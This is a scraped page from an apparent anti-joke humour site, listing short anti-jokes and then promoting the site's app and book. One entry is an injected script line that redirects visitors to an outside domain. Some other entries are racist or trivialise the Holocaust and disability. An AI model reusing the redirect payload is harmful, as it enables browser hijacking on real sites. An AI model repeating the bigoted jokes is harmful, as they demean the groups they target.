What did the strawberry say to the elephant? Nothing. Because it's a strawberry and strawberries can't talk.

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An elephant walks into a bar. Several people are trampled.

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What do you call a middle-eastern man flying a plane? A pilot

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Stalin and Hitler went to Kmart to buy mini-toothpaste. Because they schleifen schlafanned on their way to the country club.

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So this guy walks into a bar and– Nevermind it's really not that funny.

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Why was little Timmy mauled by a bear? He poked it with a pointy stick.

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Q: Why are there no tablets in the jungle? A: The pharmaceutical logistics involved would be enormous and would make very little business sense.

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What is up, the color blue and has a face? the sky. there is no face.

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Honey, it really is such a tragedy that my sense of sight doesn't function properly. I've missed out on many beautiful things in my lifetime.

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Q: Whats a spanish teacher who cant speak spanish A: duhh. it called an english teacher

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How did the boy fall off the swing? He got hit by a fridge

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Q. How can you tell if a snake bites? A. It depends on if he walks to school or carries his lunch.

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What did the amputee get for chritmas? A bicycle

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What's worse than dropping your loli-pop? The Holocaust

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"'>document.location.href="http://cramik.org"

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Whats funnier than a black man? A black president

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Why did the chicken cross the road? The cognitive capacity of the chicken is significantly underdeveloped in comparison to humans; thus, comprehending a chicken's motives is impossible. Furthermore, interspecies communication is largely understudied - a mysterious division of science that may never be fully revealed. Therefore, one could safely theorize that no single human could breach this gap ...in communication differences (assuming chickens do, in fact, communicate) and in turn, could not understand the chicken's reasoning behind its choice to cross the road (excluding the possibility of psychic connections between chickens and humans [see 'Dog Whisperer' for a more clear explanation on interspecial psychic relations])That being said, the only scientific and logical way one could understand the aforementioned question is through observation. For example, perhaps food was located on the other side of the road. However, this seems to pose a plethora of other questions: Why was the chicken near a road and not in a coop stocked with adequate food? Was this a wild chicken? Are there wild chickens? Do wild chickens often cross roads? Are wild chickens dangerous? If so, why hasn't there been warnings about dangerous, wild chickens crossing roads? The answer to these questions may never be discovered or explained.

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2 blondes were heading to Disney world, they saw up ahead that said "Disney World left" then took a left and enjoyed Disney World and had fun on the rides

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Your mom.

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Why did the old man lose his cane? He didnt. He had alzheimers

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Wanna hear a joke? Me neither.

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What do Mike Tyson's handwriting, the Teenage Mutant Ninja Turtles and your Grandma's apple pie have in common? Nothing.

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roses are blue violets are red... i have to use the bathroom

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How much does a polar bear weigh? It depends, but most weigh around 775 to 1,200 pounds.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

Anti-Joke Triceratops